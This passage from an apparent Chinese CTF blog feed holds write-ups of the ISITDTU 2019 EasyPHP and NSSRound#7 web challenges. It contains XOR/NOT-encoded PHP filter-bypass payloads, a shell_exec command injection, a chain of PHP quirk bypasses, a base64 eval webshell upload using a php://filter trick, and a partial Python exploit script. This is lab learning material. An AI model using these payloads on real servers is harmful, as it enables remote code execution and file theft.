是否允许引入额外的“材料字符”（不在目标串中）</span></span><br><span class="line">ALLOW_EXTRA_BASE = False</span><br><span class="line">EXTRA_BASE = <span class="string">&quot;&quot;</span>  <span class="comment"># 例如: &quot;_()&#123;&#125;&quot;；只有在 ALLOW_EXTRA_BASE=True 时才生效</span></span><br><span class="line"></span><br><span class="line">def <span class="title function_ invoke__">o</span>(c): <span class="keyword">return</span> <span class="title function_ invoke__">ord</span>(c)</span><br><span class="line"></span><br><span class="line">def <span class="title function_ invoke__">find_subs</span>(base_chars, target_chars):</span><br><span class="line">    base_codes = [<span class="title function_ invoke__">o</span>(c) <span class="keyword">for</span> c in base_chars]</span><br><span class="line">    <span class="comment"># 预建 2 元、3 元查表：值-&gt;(x,y, [z])</span></span><br><span class="line">    table2 = &#123;&#125;</span><br><span class="line">    <span class="keyword">for</span> x, y in <span class="title function_ invoke__">product</span>(base_codes, repeat=<span class="number">2</span>):</span><br><span class="line">        table2.<span class="title function_ invoke__">setdefault</span>(x ^ y, []).<span class="title function_ invoke__">append</span>((x, y))</span><br><span class="line">    table3 = &#123;&#125;</span><br><span class="line">    <span class="keyword">for</span> x, y, z in <span class="title function_ invoke__">product</span>(base_codes, repeat=<span class="number">3</span>):</span><br><span class="line">        table3.<span class="title function_ invoke__">setdefault</span>(x ^ y ^ z, []).<span class="title function_ invoke__">append</span>((x, y, z))</span><br><span class="line"></span><br><span class="line">    subs2, subs3 = &#123;&#125;, &#123;&#125;</span><br><span class="line">    <span class="keyword">for</span> t in target_chars:</span><br><span class="line">        ot = <span class="title function_ invoke__">o</span>(t)</span><br><span class="line">        <span class="keyword">if</span> ot in table2:</span><br><span class="line">            subs2[t] = [(<span class="title function_ invoke__">chr</span>(x), <span class="title function_ invoke__">chr</span>(y)) <span class="keyword">for</span> x, y in table2[ot]]</span><br><span class="line">        <span class="keyword">if</span> ot in table3:</span><br><span class="line">            subs3[t] = [(<span class="title function_ invoke__">chr</span>(x), <span class="title function_ invoke__">chr</span>(y), <span class="title function_ invoke__">chr</span>(z)) <span class="keyword">for</span> x, y, z in table3[ot]]</span><br><span class="line">    <span class="keyword">return</span> subs2, subs3</span><br><span class="line"></span><br><span class="line">def <span class="title function_ invoke__">main</span>():</span><br><span class="line">    uniq = <span class="title function_ invoke__">sorted</span>(<span class="title function_ invoke__">set</span>(TARGET))</span><br><span class="line">    <span class="keyword">print</span>(f<span class="string">&quot;[*] target: &#123;TARGET&#125;&quot;</span>)</span><br><span class="line">    <span class="keyword">print</span>(f<span class="string">&quot;[*] unique chars (&#123;len(uniq)&#125;): &#123;&#x27;&#x27;.join(uniq)&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 基字符集合：默认用目标串已有字符；去掉禁用字面字符</span></span><br><span class="line">    base_set = (<span class="title function_ invoke__">set</span>(uniq) - FORBIDDEN_BASE)</span><br><span class="line">    <span class="keyword">if</span> ALLOW_EXTRA_BASE:</span><br><span class="line">        base_set |= <span class="title function_ invoke__">set</span>(EXTRA_BASE)</span><br><span class="line"></span><br><span class="line">    base = <span class="title function_ invoke__">sorted</span>(base_set)</span><br><span class="line">    <span class="keyword">print</span>(f<span class="string">&quot;[*] base (excluded &#123;FORBIDDEN_BASE&#125;): &#123;&#x27;&#x27;.join(base)&#125; (count=&#123;len(base)&#125;)&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 查找 2 元 / 3 元替代（材料都来自 base）</span></span><br><span class="line">    subs2, subs3 = <span class="title function_ invoke__">find_subs</span>(base, uniq)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 打印每个目标字符的部分替代方案（避免过长，这里各列举最多 6 条）</span></span><br><span class="line">    LIM = <span class="number">6</span></span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;\n== 2-term XOR (t = x ^ y), up to 6 examples ==&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> t in uniq:</span><br><span class="line">        <span class="keyword">if</span> t in subs2:</span><br><span class="line">            ex = <span class="string">&quot; , &quot;</span>.<span class="title function_ invoke__">join</span>(f<span class="string">&quot;&#123;a&#125;^&#123;b&#125;&quot;</span> <span class="keyword">for</span> a, b in subs2[t][:LIM])</span><br><span class="line">            <span class="keyword">print</span>(f<span class="string">&quot;  &#123;repr(t)&#125;: &#123;ex&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;\n== 3-term XOR (t = x ^ y ^ z), up to 6 examples ==&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> t in uniq:</span><br><span class="line">        <span class="keyword">if</span> t in subs3:</span><br><span class="line">            ex = <span class="string">&quot; , &quot;</span>.<span class="title function_ invoke__">join</span>(f<span class="string">&quot;&#123;a&#125;^&#123;b&#125;^&#123;c&#125;&quot;</span> <span class="keyword">for</span> a, b, c in subs3[t][:LIM])</span><br><span class="line">            <span class="keyword">print</span>(f<span class="string">&quot;  &#123;repr(t)&#125;: &#123;ex&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 可移除性：把某个字符从“可用材料”里剔除后，能否由剩余 base 合成它？</span></span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;\n== Removability check (can t be rebuilt from BASE without using t and forbidden?) ==&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> t in uniq:</span><br><span class="line">        <span class="comment"># 这个检查的语义：我们想“删掉 t 这个字面字符”，看看还能不能用剩余 base 合成 t</span></span><br><span class="line">        reduced_base = <span class="title function_ invoke__">sorted</span>((<span class="title function_ invoke__">set</span>(base) - &#123;t&#125;))</span><br><span class="line">        s2, s3 = <span class="title function_ invoke__">find_subs</span>(reduced_base, [t])</span><br><span class="line">        ok = (t in s2) <span class="keyword">or</span> (t in s3)</span><br><span class="line">        <span class="keyword">print</span>(f<span class="string">&quot;  remove &#123;repr(t)&#125; ?  &#123;&#x27;YES (rebuildable)&#x27; if ok else &#x27;NO&#x27;&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="title function_ invoke__">main</span>()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">a = c^p^r</span><br><span class="line">d = s^c^t</span><br><span class="line">n = i^s^t</span><br></pre></td></tr></table></figure><p>替换成<code>print_r(sca(a = c^p^r).(n = i^s^t).(d = s^c^t).ir(&#39;.&#39;));</code>再进行取反，最后得出了payload。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="title function_ invoke__">scandir</span>(.));=((%<span class="number">9</span>b%<span class="number">9</span>c%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>c)^(%<span class="number">9</span>b%<span class="number">8</span>f%<span class="number">9</span>b%<span class="number">9</span>c%<span class="number">9</span>c%<span class="number">9</span>b%<span class="number">8</span>f)^(%<span class="number">8</span>f%<span class="number">9</span>e%<span class="number">96</span>%<span class="number">96</span>%<span class="number">8</span>c%a0%<span class="number">9</span>e)^(%ff%ff%ff%ff%ff%ff%ff))(((%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>c)^(%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>b%<span class="number">9</span>c%a0%<span class="number">9</span>b%<span class="number">8</span>f)^(%<span class="number">8</span>c%<span class="number">9</span>c%<span class="number">9</span>e%<span class="number">96</span>%a0%<span class="number">96</span>%<span class="number">9</span>e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));</span><br></pre></td></tr></table></figure><p>将其传入得到当前目录的文件：</p><blockquote><p>Array ( [0] &#x3D;&gt; . [1] &#x3D;&gt; .. [2] &#x3D;&gt; index.php [3] &#x3D;&gt; n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )</p></blockquote><p>这个文件名太长了，直接cat我们替换字符不好找，可以用一些函数直接读数组最后一位。</p><p>使用end()可以返回数组的最后一项：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251110184305356-1762771388354-1.png" alt="image-20251110184305356"></p><p>构造<code>readfile(end(scandir(.)))</code>即可。</p><p>可以被替代的字符：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">r = s^d^e</span><br><span class="line"></span><br><span class="line">f = c^l^i</span><br><span class="line"></span><br><span class="line">n = c^l^a</span><br></pre></td></tr></table></figure><p>同样的方法构造payload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));</span><br></pre></td></tr></table></figure><h3 id="references"><a href="#references" class="headerlink" title="references:"></a>references:</h3><p>[<a href="https://www.shawroot.cc/1209.html">ISITDTU 2019]EasyPHP – 「配枪朱丽叶。」</a></p><p><a href="https://kinseyy.github.io/2024/07/25/ISITDTU-2019-EasyPHP/">https://kinseyy.github.io/2024/07/25/ISITDTU-2019-EasyPHP/</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/11/10/ISITDTU-2019-EasyPHP/</id>
    <link href="https://everythingis-ok.github.io/2025/11/10/ISITDTU-2019-EasyPHP/"/>
    <published>2025-11-10T10:41:06.000Z</published>
    <summary>
      <![CDATA[<h1 id="ISITDTU-2019-EasyPHP"><a href="#ISITDTU-2019-EasyPHP" class="headerlink" title="[ISITDTU 2019]EasyPHP"></a>[ISITDTU 2019]EasyPHP</h1]]>
    </summary>
    <title>[ISITDTU 2019]EasyPHP</title>
    <updated>2025-11-10T10:48:08.812Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="【更新中】-NSSRound-7-Team-web"><a href="#【更新中】-NSSRound-7-Team-web" class="headerlink" title="【更新中】[NSSRound#7 Team]web"></a>【更新中】[NSSRound#7 Team]web</h1><h2 id="NSSRound-7-Team-ec-RCE"><a href="#NSSRound-7-Team-ec-RCE" class="headerlink" title="[NSSRound#7 Team]ec_RCE"></a>[NSSRound#7 Team]ec_RCE</h2><p>直接扫描目录得到DS_Store，进去会发现能看到Ns_SCtF.php。</p><p>源码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?</span>PHP</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&quot;action&quot;</span>]) &amp;&amp; !<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&quot;data&quot;</span>]))</span><br><span class="line">    <span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"> </span><br><span class="line"><span class="title function_ invoke__">putenv</span>(<span class="string">&#x27;LANG=zh_TW.utf8&#x27;</span>); </span><br><span class="line"> </span><br><span class="line"><span class="variable">$action</span> = <span class="variable">$_POST</span>[<span class="string">&quot;action&quot;</span>];</span><br><span class="line"><span class="variable">$data</span> = <span class="string">&quot;&#x27;&quot;</span>.<span class="variable">$_POST</span>[<span class="string">&quot;data&quot;</span>].<span class="string">&quot;&#x27;&quot;</span>;</span><br><span class="line"> </span><br><span class="line"><span class="variable">$output</span> = <span class="title function_ invoke__">shell_exec</span>(<span class="string">&quot;/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar <span class="subst">$action</span> <span class="subst">$data</span>&quot;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$output</span>;    </span><br></pre></td></tr></table></figure><p><code>action</code>和<code>data</code>是可控的，并且会被拼接到<code>output</code>中然后被执行然后输出。可以RCE。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">action=;&amp;data=&#x27;ls /&#x27;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-05_14-50-43.png" alt="PixPin_2025-11-05_14-50-43"></p><h2 id="NSSRound-7-Team-0o0"><a href="#NSSRound-7-Team-0o0" class="headerlink" title="[NSSRound#7 Team]0o0"></a>[NSSRound#7 Team]0o0</h2><p>目录扫描下载到源码我们进行一下代码审计。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//$NSSCTF = $_GET[&#x27;NSSCTF&#x27;] ?: &#x27;&#x27;;</span></span><br><span class="line"><span class="comment">//$NsSCTF = $_GET[&#x27;NsSCTF&#x27;] ?: &#x27;&#x27;;</span></span><br><span class="line"><span class="comment">//$NsScTF = $_GET[&#x27;NsScTF&#x27;] ?: &#x27;&#x27;;</span></span><br><span class="line"><span class="comment">//$NsScTf = $_GET[&#x27;NsScTf&#x27;] ?: &#x27;&#x27;;</span></span><br><span class="line"><span class="variable">$NSScTf</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;NSScTf&#x27;</span>] ?: <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$nSScTF</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;nSScTF&#x27;</span>] ?: <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$nSscTF</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;nSscTF&#x27;</span>] ?: <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$NSSCTF</span> != <span class="variable">$NsSCTF</span> &amp;&amp; <span class="title function_ invoke__">sha1</span>(<span class="variable">$NSSCTF</span>) === <span class="title function_ invoke__">sha1</span>(<span class="variable">$NsSCTF</span>)) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$NsScTF</span>) &amp;&amp; <span class="title function_ invoke__">in_array</span>(<span class="variable">$NsScTF</span>, <span class="keyword">array</span>(<span class="number">1</span>))) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$NsScTf</span>) === <span class="string">&quot;Welcome to Round7!!!&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;nss_ctfer.vip&#x27;</span>])) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="variable">$NSScTf</span> != <span class="number">114514</span> &amp;&amp; <span class="title function_ invoke__">intval</span>(<span class="variable">$NSScTf</span>, <span class="number">0</span>) === <span class="number">114514</span>) &#123;</span><br><span class="line">                    <span class="variable">$nss</span> = <span class="title function_ invoke__">is_numeric</span>(<span class="variable">$nSScTF</span>) <span class="keyword">and</span> <span class="title function_ invoke__">is_numeric</span>(<span class="variable">$nSscTF</span>) !== <span class="string">&quot;NSSRound7&quot;</span>;</span><br><span class="line">                    <span class="keyword">if</span> (<span class="variable">$nss</span> &amp;&amp; <span class="variable">$nSscTF</span> === <span class="string">&quot;NSSRound7&quot;</span>) &#123;</span><br><span class="line">                        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;submit&#x27;</span>])) &#123;</span><br><span class="line">                            <span class="variable">$file_name</span> = <span class="title function_ invoke__">urldecode</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>]);</span><br><span class="line">                            <span class="variable">$path</span> = <span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>];</span><br><span class="line">                            <span class="keyword">if</span>(<span class="title function_ invoke__">strpos</span>(<span class="variable">$file_name</span>, <span class="string">&quot;.png&quot;</span>) == <span class="literal">false</span>)&#123;</span><br><span class="line">                                <span class="keyword">die</span>(<span class="string">&quot;NoO0P00oO0! Png! pNg! pnG!&quot;</span>);</span><br><span class="line">                            &#125;</span><br><span class="line">                            <span class="variable">$content</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$path</span>);</span><br><span class="line">                            <span class="variable">$real_content</span> = <span class="string">&#x27;&lt;?php die(&quot;Round7 do you like&quot;);&#x27;</span>. <span class="variable">$content</span> . <span class="string">&#x27;?&gt;&#x27;</span>;</span><br><span class="line">                            <span class="variable">$real_name</span> = <span class="title function_ invoke__">fopen</span>(<span class="variable">$file_name</span>, <span class="string">&quot;w&quot;</span>);</span><br><span class="line">                            <span class="title function_ invoke__">fwrite</span>(<span class="variable">$real_name</span>, <span class="variable">$real_content</span>);</span><br><span class="line">                            <span class="title function_ invoke__">fclose</span>(<span class="variable">$real_name</span>);</span><br><span class="line">                            <span class="keyword">echo</span> <span class="string">&quot;OoO0o0hhh.&quot;</span>;</span><br><span class="line">                        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                            <span class="keyword">die</span>(<span class="string">&quot;NoO0oO0oO0!&quot;</span>);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="keyword">die</span>(<span class="string">&quot;N0o0o0oO0o!&quot;</span>);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="keyword">die</span>(<span class="string">&quot;NoOo00O0o0!&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">&quot;Noo0oO0oOo!&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&quot;NO0o0oO0oO!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;No0o0o000O!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;NO0o0o0o0o!&quot;</span>);</span><br><span class="line">&#125; NO0o0o0o0o!</span><br></pre></td></tr></table></figure><ol><li><p>第一层数组绕过，<code>NSSCTF[]=1&amp;NSSCTF[]=2</code></p></li><li><p>第二层是in_array()第三个参数没有直接strict导致可以绕过，<code>NsScTF=1q</code></p></li><li><pre><code>if (file_get_contents($NsScTf) === &quot;Welcome to Round7!!!&quot;) <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">在php手册中查询 **file_get_contents()** 函数的作用：</span><br><span class="line"></span><br><span class="line">**file_get_contents()** 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。</span><br><span class="line"></span><br><span class="line">&gt; **注意**:</span><br><span class="line">&gt;</span><br><span class="line">&gt; 如果要打开有特殊字符的 URL （比如说有空格），就需要使用 [urlencode()](https://www.php.net/manual/zh/function.urlencode.php) 进行 URL 编码。</span><br><span class="line"></span><br><span class="line">显然我们没办法上传文件，但是能给参数传url想到php伪协议</span><br><span class="line"></span><br><span class="line">`data://` 会把 URI 中的数据当作“文件内容”读出。也就是说`file_get_contents(&#x27;data://text/plain,Welcome to Round7!!!&#x27;)` 会直接返回字符串 `Welcome to Round7!!!`，因此可以绕过对“真实文件路径”的期待。</span><br><span class="line"></span><br><span class="line">4. </span><br><span class="line"></span><br></pre></td></tr></table></figure>if (isset($_GET[&#39;nss_ctfer.vip&#39;])) &#123;<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">   还是考的php特性，都有点忘了</span><br><span class="line"></span><br><span class="line">这是php中的非法参数名传参：</span><br><span class="line"></span><br><span class="line">![PixPin_2025-11-05_20-35-14](https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-05_20-35-14.png)</span><br><span class="line"></span><br><span class="line">因此我们是没办法直接传入`nss_ctfer.vip`的，会被替换成`nss_ctfer_vip`，但是php中还有一个特性，如果传入`[`，它被转化为`_`之后，后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。</span><br><span class="line"></span><br></pre></td></tr></table></figure>nss[ctfer.vip<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">5. ```</span><br><span class="line">   if ($NSScTf != 114514 &amp;&amp; intval($NSScTf, 0) === 114514) &#123;</span><br></pre></td></tr></table></figure>第五层是intval()绕过，字符串使用科学计数法，会默认是前面的数字，比如’1e1’转化变成1，NSScTf=114514e1，第五层直接`nSScTF=1，$nSscTF=NSSRound7`。</code></pre></li><li><pre><code>if ($nss &amp;&amp; $nSscTF === &quot;NSSRound7&quot;) &#123;                        if (isset($_POST[&#39;submit&#39;])) &#123;<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">直接构造：`nSScTF=1&amp;nSscTF=NSSRound7` 记得提交submit,</span><br><span class="line"></span><br><span class="line">得到这一部分payload</span><br><span class="line"></span><br></pre></td></tr></table></figure>?NSSCTF[]=1&amp;NsSCTF[]=2&amp;NsScTF=1a&amp;NsScTf=data://text/plain,Welcome%20to%20Round7!!!&amp;nss[ctfer.vip=&amp;NSScTf=114514.3&amp;nSScTF=1&amp;nSscTF=NSSRound7POST:submit=1<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">以上全部都是php特性，可以参考一下[PHP 特性 - Hello CTF](https://hello-ctf.com/hc-tags/web/PHP_features/#0e-bypass)。接着往下看。</span><br><span class="line"></span><br><span class="line">这里是一个文件上传</span><br><span class="line"></span><br><span class="line">```php</span><br><span class="line">&lt;?php</span><br><span class="line">$file_name = urldecode($_FILES[&#x27;file&#x27;][&#x27;name&#x27;]);</span><br><span class="line">$path = $_FILES[&#x27;file&#x27;][&#x27;tmp_name&#x27;];</span><br><span class="line">if(strpos($file_name, &quot;.png&quot;) == false)&#123;</span><br><span class="line">   die(&quot;NoO0P00oO0! Png! pNg! pnG!&quot;);</span><br><span class="line">&#125;</span><br><span class="line">$content = file_get_contents($path);</span><br><span class="line">$real_content = &#x27;&lt;?php die(&quot;Round7 do you like&quot;);&#x27;. $content . &#x27;?&gt;&#x27;;</span><br><span class="line">$real_name = fopen($file_name, &quot;w&quot;);</span><br><span class="line">fwrite($real_name, $real_content);</span><br><span class="line">fclose($real_name);</span><br></pre></td></tr></table></figure></code></pre></li></ol><p>上述代码通过<code>strops()</code>检测文件的名称是否存在png，但这种写法不严谨—— <code>evil.png.php</code> 也会通过检查。</p><p>关键是会将<code>&lt;?php die(“Round7 do you like”);</code>与我们传的php拼接，就导致了如果直接在浏览器访问这个文件，PHP 会立即停止执行。</p><p>一个思路是在解码时将死亡代码给解码成乱码，使其无法作用。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php @eval($_POST[&#x27;attack&#x27;]);?&gt;</span><br><span class="line">base编码·：</span><br><span class="line">PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+</span><br><span class="line"></span><br><span class="line">&lt;?php die(&quot;Round7 do you like&quot;);aaaPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+?&gt;</span><br><span class="line">这里要补三个字母aaa，因为php解码时是四个byte一组</span><br></pre></td></tr></table></figure><p>这样传后续我们使用<code>php://filter/convert.base64-decode</code>访问上传的文件，前面的die被解释为乱码就没办法执行了。</p><p>后续我们写个脚本实现上述所有传参和文件上传操作</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line"><span class="keyword">from</span> base64 import b64encode</span><br><span class="line">import re</span><br><span class="line"> </span><br><span class="line">def <span class="title function_ invoke__">get_flag</span>(URL):</span><br><span class="line">    url = f<span class="string">&quot;&#123;URL&#125;/Ns_SCtF.php?NSSCTF[]=1&amp;NsSCTF[]=2&amp;NsScTF=1%00&amp;NsScTf=data://text/plain,Welcome%20to%20Round7!!!&amp;nss[ctfer.vip=true&amp;NSScTf=114514e1&amp;nSScTF=1&amp;nSscTF=NSSRound7&quot;</span></span><br><span class="line">    data = &#123;<span class="string">&#x27;submit&#x27;</span>:<span class="number">1</span>&#125;</span><br><span class="line"> </span><br><span class="line">    payload = <span class="title function_ invoke__">str</span>(<span class="title function_ invoke__">b64encode</span>(b<span class="string">&quot;&lt;?php system(&#x27;cat /home/f1ag&#x27;);?&gt;&quot;</span>)) <span class="comment">#修改为自己想要执行的命令</span></span><br><span class="line">    payload = re.<span class="title function_ invoke__">findall</span>(r<span class="string">&quot;b&#x27;(.*?)&#x27;&quot;</span>,payload)[<span class="number">0</span>]</span><br><span class="line"> </span><br><span class="line">    file1 = &#123;<span class="string">&#x27;file&#x27;</span>: (<span class="string">&#x27;1.png.php&#x27;</span>, f<span class="string">&quot;aaa&#123;payload&#125;&quot;</span>)&#125;</span><br><span class="line">    file2 = &#123;<span class="string">&#x27;file&#x27;</span>: (<span class="string">&#x27;%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70&#x27;</span>, f<span 